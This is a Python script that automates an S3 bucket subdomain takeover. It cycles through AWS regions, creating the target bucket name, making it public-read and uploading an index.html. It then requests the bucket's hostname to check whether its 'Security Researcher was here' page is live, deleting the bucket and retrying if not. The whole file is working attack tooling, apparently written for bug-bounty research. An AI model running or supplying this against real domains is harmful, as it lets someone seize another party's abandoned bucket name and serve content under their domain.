s3_bucket_region_checker.py

#!/usr/bin/env python
import boto3,sys,time,requests
import botocore.exceptions
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import datetime,os

os.environ['AWS_DEFAULT_REGION'] = 'us-east-1'

s3 = boto3.resource('s3')

s3bucket = sys.argv[1]

DELETE_WAIT_CONFLICT_TIME = 4800

regions = ['us-east-1','us-west-1','ap-southeast-1','ap-east-1','ap-northeast-1','us-east-2','us-west-2','ap-northeast-2','cn-north-1','eu-west-3','eu-west-2','ca-central-1','ap-south-1','ap-northeast-3','af-south-1']

def check_req(bucket_name):
    req = requests.get('http://{}'.format(bucket_name),verify=False)
    text = req.text
    if 'Security Researcher was here' in text:
        print("[DONE] ",bucket_name)
        return True
    elif 'NoSuchWebsiteConfiguration' in text:
        print("[DONE] ",bucket_name)
        return True
    elif 'The specified bucket does not exist' not in text and 'region' not in text and 'endpoint' not in text:
        print("[!!] Something Happened : ",bucket_name)
        return True
    else:
        return False
    return False

def create(bucket_name,region):
    try:
        location_region = {'LocationConstraint': region}
        if region != 'us-east-1':
            bucket = s3.create_bucket(Bucket=bucket_name,CreateBucketConfiguration=location_region)
        else: ## https://github.com/boto/boto3/issues/125
            bucket = s3.create_bucket(Bucket=bucket_name)
        bucket.Acl().put(ACL='public-read')
        s3.Object(bucket_name,'index.html').put(Key='index.html',Body=open('index.html','rb'),ContentType='text/html',ACL='public-read')
        print("[+] CREATED : ",datetime.datetime.now(),bucket_name,region)
        return True
    except Exception as e:
        if "conflicting conditional" in str(e):
            print("[-] need waiting : ",datetime.datetime.now(),bucket_name,region)
            return False
        else:
            print(e)

def delete(bucket_name,region):
    bucket = s3.Bucket(bucket_name)
    bucket.objects.all().delete()
    bucket.delete()
    print("[-] DELETED : ",datetime.datetime.now(),bucket_name,region)

CREATED = False

def main():
    global CREATED
    for each_region in regions:
        CREATED = False
        while not CREATED:
            is_created = create(bucket_name=s3bucket,region=each_region)
            if is_created:
                CREATED = True
                time.sleep(180)
                takeover_done = check_req(s3bucket)
                if takeover_done is True:
                    sys.exit(1)
                else:
                    delete(s3bucket,each_region)
            time.sleep(DELETE_WAIT_CONFLICT_TIME)

main()